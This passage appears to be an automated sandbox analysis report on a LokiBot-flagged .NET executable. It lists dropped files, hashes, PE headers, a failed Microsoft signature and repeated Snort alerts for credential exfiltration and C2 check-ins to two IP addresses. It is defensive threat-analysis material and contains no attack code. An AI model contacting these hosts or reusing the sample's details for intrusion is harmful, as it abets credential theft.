Size (bytes):	654
Entropy (8bit):	5.374391981354885
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPTxAIOKbbDLI4MWuPOKN08JOKhap+92n4MNQpN9tv:ML9E4KrgKDE4KGKN08AKh6+84xpNT
MD5:	C8A62E39DE7A3F805D39384E8BABB1E0
SHA1:	B32B1257401F17A2D1D5D3CC1D8C1E072E3FEE31
SHA-256:	A7BC127854C5327ABD50C86000BF10586B556A5E085BB23523B07A15DD4C5383
SHA-512:	7DB2825131F5CDA6AF33A179D9F7CD0A206FF34AE50D6E66DE9E99BE2CD1CB985B88C00F0EDE72BBC4467E7E42B5DC6132403AA2EC1A0A7A6D11766C438B10C3
Malicious:	true
Reputation:	moderate, very likely benign file
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\10a17139182a9efd561f01fada9688a5\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\4e05e2e48b8a6dd267a8c9e25ef129a7\System.Core.ni.dll",0..3,"Microsoft.VisualBasic, Version=10.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Microsoft.V9921e851#\f2e0589ed6d670f264a5f65dd0ad000f\Microsoft.VisualBasic.ni.dll",0..

C:\Users\user\AppData\Roaming\C79A3B\B52B3F.lck Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	very short file (no magic)
Category:	dropped
Size (bytes):	1
Entropy (8bit):	0.0
Encrypted:	false
SSDEEP:	3:U:U
MD5:	C4CA4238A0B923820DCC509A6F75849B
SHA1:	356A192B7913B04C54574D18C28D46E6395428AB
SHA-256:	6B86B273FF34FCE19D6B804EFF5A3F5747ADA4EAA22F1D49C01E52DDB7875B4B
SHA-512:	4DFF4EA340F0A823F15D3F4F01AB62EAE0E5DA579CCB851F8DB9DFE84C58B2B37B89903A740E1EE172DA793A6E79D560E5F7F9BD058A12A280433ED6FA46510A
Malicious:	false
Reputation:	high, very likely benign file
Preview:	1

C:\Users\user\AppData\Roaming\Microsoft\Crypto\RSA\S-1-5-21-3853321935-2125563209-4053062332-1002\bc49718863ee53e026d805ec372039e9_d06ed635-68f6-4e9a-955c-4899f5f57b9a Download File
Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	data
Category:	dropped
Size (bytes):	46
Entropy (8bit):	1.0424600748477153
Encrypted:	false
SSDEEP:	3:/lbq:4
MD5:	8CB7B7F28464C3FCBAE8A10C46204572
SHA1:	767FE80969EC2E67F54CC1B6D383C76E7859E2DE
SHA-256:	ED5E3DCEB0A1D68803745084985051C1ED41E11AC611DF8600B1A471F3752E96
SHA-512:	9BA84225FDB6C0FD69AD99B69824EC5B8D2B8FD3BB4610576DB4AD79ADF381F7F82C4C9522EC89F7171907577FAF1B4E70B82364F516CF8BBFED99D2ADEA43AF
Malicious:	false
Reputation:	moderate, very likely benign file
Preview:	........................................user.

Static File Info

General
File type:	PE32 executable (GUI) Intel 80386 Mono/.Net assembly, for MS Windows
Entropy (8bit):	7.712814063964112
TrID:	Win32 Executable (generic) Net Framework (10011505/4) 50.01% Win32 Executable (generic) a (10002005/4) 49.97% Generic Win/DOS Executable (2004/3) 0.01% DOS Executable Generic (2002/1) 0.01% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	gunzipped.exe
File size:	207368
MD5:	a76b143e354a2ac9f363616ff4f8b239
SHA1:	51bb9b6f0c004d4532ae7f83b58554c924f4d3cc
SHA256:	d9bad692a869fdb2d3e9ec678e50f27e2dbe2f1fef185a8480df7eb5562d88f0
SHA512:	08caf51783da2b857699ca0063410464e35faeec64a44d4e35ed7e098f5fa6447d36c8a01de7ab9ecbd863e690a910328ccb503e66a9ef679a98031bf5be5369
SSDEEP:	3072:68RW5D8ndLRtj/fs+BrOxK2+pwWS8HaTvhwmo0hb2bRcO4RNNqV45M6/xsmFU3Gz:68rJT6x0Sxvhwmo0hb2bN0vz/lR
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L....n.a.................R..........>p... ........@.. .......................@............@................................

File Icon


Icon Hash:	f8e6c6c5d5c4e4e8

Static PE Info

General
Entrypoint:	0x42703e
Entrypoint Section:	.text
Digitally signed:	true
Imagebase:	0x400000
Subsystem:	windows gui
Image File Characteristics:	LOCAL_SYMS_STRIPPED, 32BIT_MACHINE, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED
DLL Characteristics:	NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT
Time Stamp:	0x61E16EDC [Fri Jan 14 12:38:52 2022 UTC]
TLS Callbacks:
CLR (.Net) Version:	v4.0.30319
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:	f34d5f2d4577ed6d9ceec516c1f5a744

Authenticode Signature

Signature Valid:	false
Signature Issuer:	CN=Microsoft Code Signing PCA, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Signature Validation Error:	The digital signature of the object did not verify
Error Number:	-2146869232
Not Before, Not After	7/12/2018 10:11:19 PM 7/26/2019 10:11:19 PM
Subject Chain	CN=Microsoft Corporation, O=Microsoft Corporation, L=Redmond, S=Washington, C=US
Version:	3
Thumbprint MD5:	EA2EAC5068FCE34E887927373AB894A0
Thumbprint SHA-1:	9DC17888B5CFAD98B3CB35C1994E96227F061675
Thumbprint SHA-256:	37A8A01D0CF930DCA58E725400AD06DD550970B92F49B0C3A15B321B4E4097DA
Serial:	33000001B1DDEDBA54E965B85F0001000001B1

Entrypoint Preview

Instruction
jmp dword ptr [00402000h]
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x26fe4	0x57	.text
IMAGE_DIRECTORY_ENTRY_RESOURCE	0x2a000	0x9600	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x2ec00	0x3e08	.rsrc
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x28000	0xc	.reloc
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x2000	0x8	.text
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2008	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0x25044	0x25200	False	0.906703756313	data	7.8171876408	IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ
.reloc	0x28000	0xc	0x200	False	0.044921875	data	0.101910425663	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ
.rsrc	0x2a000	0x9600	0x9600	False	0.674609375	data	6.83137933544	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type
RT_ICON	0x2a1f0	0x468	GLS_BINARY_LSB_FIRST
RT_ICON	0x2a658	0x988	data
RT_ICON	0x2afe0	0x10a8	dBase IV DBT of @.DBF, block length 4096, next free block index 40, next free block 57889722, next used block 7558074
RT_ICON	0x2c088	0x25a8	dBase IV DBT of `.DBF, block length 9216, next free block index 40, next free block 0, next used block 0
RT_ICON	0x2e630	0x4b3c	PNG image data, 256 x 256, 8-bit/color RGBA, non-interlaced
RT_GROUP_ICON	0x3316c	0x4c	data
RT_VERSION	0x331b8	0x25c	data
RT_MANIFEST	0x33414	0x1ea	XML 1.0 document, UTF-8 Unicode (with BOM) text, with CRLF line terminators

Imports

DLL	Import
mscoree.dll	_CorExeMain

Version Infos

Description	Data
Translation	0x0000 0x04b0
LegalCopyright
Assembly Version	0.0.0.0
InternalName	LLLOOOLKKIIII.exe
FileVersion	0.0.0.0
ProductVersion	0.0.0.0
FileDescription
OriginalFilename	LLLOOOLKKIIII.exe

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
01/14/22-14:25:18.175313	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49770	80	192.168.2.4	104.21.60.171
01/14/22-14:25:18.175313	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49770	80	192.168.2.4	104.21.60.171
01/14/22-14:25:18.175313	TCP	2025381	ET TROJAN LokiBot Checkin	49770	80	192.168.2.4	104.21.60.171
01/14/22-14:25:18.175313	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49770	80	192.168.2.4	104.21.60.171
01/14/22-14:25:19.900110	TCP	2024312	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M1	49771	80	192.168.2.4	104.21.60.171
01/14/22-14:25:19.900110	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49771	80	192.168.2.4	104.21.60.171
01/14/22-14:25:19.900110	TCP	2025381	ET TROJAN LokiBot Checkin	49771	80	192.168.2.4	104.21.60.171
01/14/22-14:25:19.900110	TCP	2024317	ET TROJAN LokiBot Application/Credential Data Exfiltration Detected M2	49771	80	192.168.2.4	104.21.60.171
01/14/22-14:25:21.284630	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49772	80	192.168.2.4	172.67.198.111
01/14/22-14:25:21.284630	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49772	80	192.168.2.4	172.67.198.111
01/14/22-14:25:21.284630	TCP	2025381	ET TROJAN LokiBot Checkin	49772	80	192.168.2.4	172.67.198.111
01/14/22-14:25:21.284630	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49772	80	192.168.2.4	172.67.198.111
01/14/22-14:25:23.253971	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49773	80	192.168.2.4	104.21.60.171
01/14/22-14:25:23.253971	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49773	80	192.168.2.4	104.21.60.171
01/14/22-14:25:23.253971	TCP	2025381	ET TROJAN LokiBot Checkin	49773	80	192.168.2.4	104.21.60.171
01/14/22-14:25:23.253971	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49773	80	192.168.2.4	104.21.60.171
01/14/22-14:25:25.064096	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49774	80	192.168.2.4	104.21.60.171
01/14/22-14:25:25.064096	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49774	80	192.168.2.4	104.21.60.171
01/14/22-14:25:25.064096	TCP	2025381	ET TROJAN LokiBot Checkin	49774	80	192.168.2.4	104.21.60.171
01/14/22-14:25:25.064096	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49774	80	192.168.2.4	104.21.60.171
01/14/22-14:25:26.426706	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49775	80	192.168.2.4	104.21.60.171
01/14/22-14:25:26.426706	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49775	80	192.168.2.4	104.21.60.171
01/14/22-14:25:26.426706	TCP	2025381	ET TROJAN LokiBot Checkin	49775	80	192.168.2.4	104.21.60.171
01/14/22-14:25:26.426706	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49775	80	192.168.2.4	104.21.60.171
01/14/22-14:25:27.981180	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49776	80	192.168.2.4	172.67.198.111
01/14/22-14:25:27.981180	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49776	80	192.168.2.4	172.67.198.111
01/14/22-14:25:27.981180	TCP	2025381	ET TROJAN LokiBot Checkin	49776	80	192.168.2.4	172.67.198.111
01/14/22-14:25:27.981180	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49776	80	192.168.2.4	172.67.198.111
01/14/22-14:25:30.190933	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49777	80	192.168.2.4	172.67.198.111
01/14/22-14:25:30.190933	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49777	80	192.168.2.4	172.67.198.111
01/14/22-14:25:30.190933	TCP	2025381	ET TROJAN LokiBot Checkin	49777	80	192.168.2.4	172.67.198.111
01/14/22-14:25:30.190933	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49777	80	192.168.2.4	172.67.198.111
01/14/22-14:25:31.656934	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49778	80	192.168.2.4	104.21.60.171
01/14/22-14:25:31.656934	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49778	80	192.168.2.4	104.21.60.171
01/14/22-14:25:31.656934	TCP	2025381	ET TROJAN LokiBot Checkin	49778	80	192.168.2.4	104.21.60.171
01/14/22-14:25:31.656934	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49778	80	192.168.2.4	104.21.60.171
01/14/22-14:25:33.128240	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49779	80	192.168.2.4	172.67.198.111
01/14/22-14:25:33.128240	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49779	80	192.168.2.4	172.67.198.111
01/14/22-14:25:33.128240	TCP	2025381	ET TROJAN LokiBot Checkin	49779	80	192.168.2.4	172.67.198.111
01/14/22-14:25:33.128240	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49779	80	192.168.2.4	172.67.198.111
01/14/22-14:25:34.630207	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49780	80	192.168.2.4	104.21.60.171
01/14/22-14:25:34.630207	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49780	80	192.168.2.4	104.21.60.171
01/14/22-14:25:34.630207	TCP	2025381	ET TROJAN LokiBot Checkin	49780	80	192.168.2.4	104.21.60.171
01/14/22-14:25:34.630207	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49780	80	192.168.2.4	104.21.60.171
01/14/22-14:25:35.944353	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49781	80	192.168.2.4	104.21.60.171
01/14/22-14:25:35.944353	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49781	80	192.168.2.4	104.21.60.171
01/14/22-14:25:35.944353	TCP	2025381	ET TROJAN LokiBot Checkin	49781	80	192.168.2.4	104.21.60.171
01/14/22-14:25:35.944353	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49781	80	192.168.2.4	104.21.60.171
01/14/22-14:25:37.320518	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49782	80	192.168.2.4	104.21.60.171
01/14/22-14:25:37.320518	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49782	80	192.168.2.4	104.21.60.171
01/14/22-14:25:37.320518	TCP	2025381	ET TROJAN LokiBot Checkin	49782	80	192.168.2.4	104.21.60.171
01/14/22-14:25:37.320518	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49782	80	192.168.2.4	104.21.60.171
01/14/22-14:25:38.912356	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49783	80	192.168.2.4	172.67.198.111
01/14/22-14:25:38.912356	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49783	80	192.168.2.4	172.67.198.111
01/14/22-14:25:38.912356	TCP	2025381	ET TROJAN LokiBot Checkin	49783	80	192.168.2.4	172.67.198.111
01/14/22-14:25:38.912356	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49783	80	192.168.2.4	172.67.198.111
01/14/22-14:25:41.572780	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49786	80	192.168.2.4	172.67.198.111
01/14/22-14:25:41.572780	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49786	80	192.168.2.4	172.67.198.111
01/14/22-14:25:41.572780	TCP	2025381	ET TROJAN LokiBot Checkin	49786	80	192.168.2.4	172.67.198.111
01/14/22-14:25:41.572780	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49786	80	192.168.2.4	172.67.198.111
01/14/22-14:25:43.959684	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49787	80	192.168.2.4	104.21.60.171
01/14/22-14:25:43.959684	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49787	80	192.168.2.4	104.21.60.171
01/14/22-14:25:43.959684	TCP	2025381	ET TROJAN LokiBot Checkin	49787	80	192.168.2.4	104.21.60.171
01/14/22-14:25:43.959684	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49787	80	192.168.2.4	104.21.60.171
01/14/22-14:25:46.505955	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49788	80	192.168.2.4	172.67.198.111
01/14/22-14:25:46.505955	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49788	80	192.168.2.4	172.67.198.111
01/14/22-14:25:46.505955	TCP	2025381	ET TROJAN LokiBot Checkin	49788	80	192.168.2.4	172.67.198.111
01/14/22-14:25:46.505955	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49788	80	192.168.2.4	172.67.198.111
01/14/22-14:25:48.319340	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49789	80	192.168.2.4	172.67.198.111
01/14/22-14:25:48.319340	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49789	80	192.168.2.4	172.67.198.111
01/14/22-14:25:48.319340	TCP	2025381	ET TROJAN LokiBot Checkin	49789	80	192.168.2.4	172.67.198.111
01/14/22-14:25:48.319340	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49789	80	192.168.2.4	172.67.198.111
01/14/22-14:25:50.057956	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49790	80	192.168.2.4	172.67.198.111
01/14/22-14:25:50.057956	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49790	80	192.168.2.4	172.67.198.111
01/14/22-14:25:50.057956	TCP	2025381	ET TROJAN LokiBot Checkin	49790	80	192.168.2.4	172.67.198.111
01/14/22-14:25:50.057956	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49790	80	192.168.2.4	172.67.198.111
01/14/22-14:25:51.752908	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49791	80	192.168.2.4	172.67.198.111
01/14/22-14:25:51.752908	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49791	80	192.168.2.4	172.67.198.111
01/14/22-14:25:51.752908	TCP	2025381	ET TROJAN LokiBot Checkin	49791	80	192.168.2.4	172.67.198.111
01/14/22-14:25:51.752908	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49791	80	192.168.2.4	172.67.198.111
01/14/22-14:25:53.149995	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49792	80	192.168.2.4	104.21.60.171
01/14/22-14:25:53.149995	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49792	80	192.168.2.4	104.21.60.171
01/14/22-14:25:53.149995	TCP	2025381	ET TROJAN LokiBot Checkin	49792	80	192.168.2.4	104.21.60.171
01/14/22-14:25:53.149995	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49792	80	192.168.2.4	104.21.60.171
01/14/22-14:25:54.980188	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49793	80	192.168.2.4	104.21.60.171
01/14/22-14:25:54.980188	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49793	80	192.168.2.4	104.21.60.171
01/14/22-14:25:54.980188	TCP	2025381	ET TROJAN LokiBot Checkin	49793	80	192.168.2.4	104.21.60.171
01/14/22-14:25:54.980188	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49793	80	192.168.2.4	104.21.60.171
01/14/22-14:25:57.480514	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49794	80	192.168.2.4	172.67.198.111
01/14/22-14:25:57.480514	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49794	80	192.168.2.4	172.67.198.111
01/14/22-14:25:57.480514	TCP	2025381	ET TROJAN LokiBot Checkin	49794	80	192.168.2.4	172.67.198.111
01/14/22-14:25:57.480514	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49794	80	192.168.2.4	172.67.198.111
01/14/22-14:25:59.305785	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49795	80	192.168.2.4	172.67.198.111
01/14/22-14:25:59.305785	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49795	80	192.168.2.4	172.67.198.111
01/14/22-14:25:59.305785	TCP	2025381	ET TROJAN LokiBot Checkin	49795	80	192.168.2.4	172.67.198.111
01/14/22-14:25:59.305785	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49795	80	192.168.2.4	172.67.198.111
01/14/22-14:26:01.263490	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49796	80	192.168.2.4	172.67.198.111
01/14/22-14:26:01.263490	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49796	80	192.168.2.4	172.67.198.111
01/14/22-14:26:01.263490	TCP	2025381	ET TROJAN LokiBot Checkin	49796	80	192.168.2.4	172.67.198.111
01/14/22-14:26:01.263490	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49796	80	192.168.2.4	172.67.198.111
01/14/22-14:26:02.695748	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49797	80	192.168.2.4	104.21.60.171
01/14/22-14:26:02.695748	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49797	80	192.168.2.4	104.21.60.171
01/14/22-14:26:02.695748	TCP	2025381	ET TROJAN LokiBot Checkin	49797	80	192.168.2.4	104.21.60.171
01/14/22-14:26:02.695748	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49797	80	192.168.2.4	104.21.60.171
01/14/22-14:26:04.152079	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49798	80	192.168.2.4	104.21.60.171
01/14/22-14:26:04.152079	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49798	80	192.168.2.4	104.21.60.171
01/14/22-14:26:04.152079	TCP	2025381	ET TROJAN LokiBot Checkin	49798	80	192.168.2.4	104.21.60.171
01/14/22-14:26:04.152079	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49798	80	192.168.2.4	104.21.60.171
01/14/22-14:26:06.129704	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49800	80	192.168.2.4	104.21.60.171
01/14/22-14:26:06.129704	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49800	80	192.168.2.4	104.21.60.171
01/14/22-14:26:06.129704	TCP	2025381	ET TROJAN LokiBot Checkin	49800	80	192.168.2.4	104.21.60.171
01/14/22-14:26:06.129704	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49800	80	192.168.2.4	104.21.60.171
01/14/22-14:26:07.683357	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49807	80	192.168.2.4	104.21.60.171
01/14/22-14:26:07.683357	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49807	80	192.168.2.4	104.21.60.171
01/14/22-14:26:07.683357	TCP	2025381	ET TROJAN LokiBot Checkin	49807	80	192.168.2.4	104.21.60.171
01/14/22-14:26:07.683357	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49807	80	192.168.2.4	104.21.60.171
01/14/22-14:26:10.439183	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49819	80	192.168.2.4	172.67.198.111
01/14/22-14:26:10.439183	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49819	80	192.168.2.4	172.67.198.111
01/14/22-14:26:10.439183	TCP	2025381	ET TROJAN LokiBot Checkin	49819	80	192.168.2.4	172.67.198.111
01/14/22-14:26:10.439183	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49819	80	192.168.2.4	172.67.198.111
01/14/22-14:26:12.298204	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49834	80	192.168.2.4	104.21.60.171
01/14/22-14:26:12.298204	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49834	80	192.168.2.4	104.21.60.171
01/14/22-14:26:12.298204	TCP	2025381	ET TROJAN LokiBot Checkin	49834	80	192.168.2.4	104.21.60.171
01/14/22-14:26:12.298204	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49834	80	192.168.2.4	104.21.60.171
01/14/22-14:26:17.304219	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49837	80	192.168.2.4	172.67.198.111
01/14/22-14:26:17.304219	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49837	80	192.168.2.4	172.67.198.111
01/14/22-14:26:17.304219	TCP	2025381	ET TROJAN LokiBot Checkin	49837	80	192.168.2.4	172.67.198.111
01/14/22-14:26:17.304219	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49837	80	192.168.2.4	172.67.198.111
01/14/22-14:26:21.377816	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49839	80	192.168.2.4	104.21.60.171
01/14/22-14:26:21.377816	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49839	80	192.168.2.4	104.21.60.171
01/14/22-14:26:21.377816	TCP	2025381	ET TROJAN LokiBot Checkin	49839	80	192.168.2.4	104.21.60.171
01/14/22-14:26:21.377816	TCP	2024318	ET TROJAN LokiBot Request for C2 Commands Detected M2	49839	80	192.168.2.4	104.21.60.171
01/14/22-14:26:25.951454	TCP	2024313	ET TROJAN LokiBot Request for C2 Commands Detected M1	49845	80	192.168.2.4	172.67.198.111
01/14/22-14:26:25.951454	TCP	2021641	ET TROJAN LokiBot User-Agent (Charon/Inferno)	49845	80	192.168.2.4	172.67.198.111
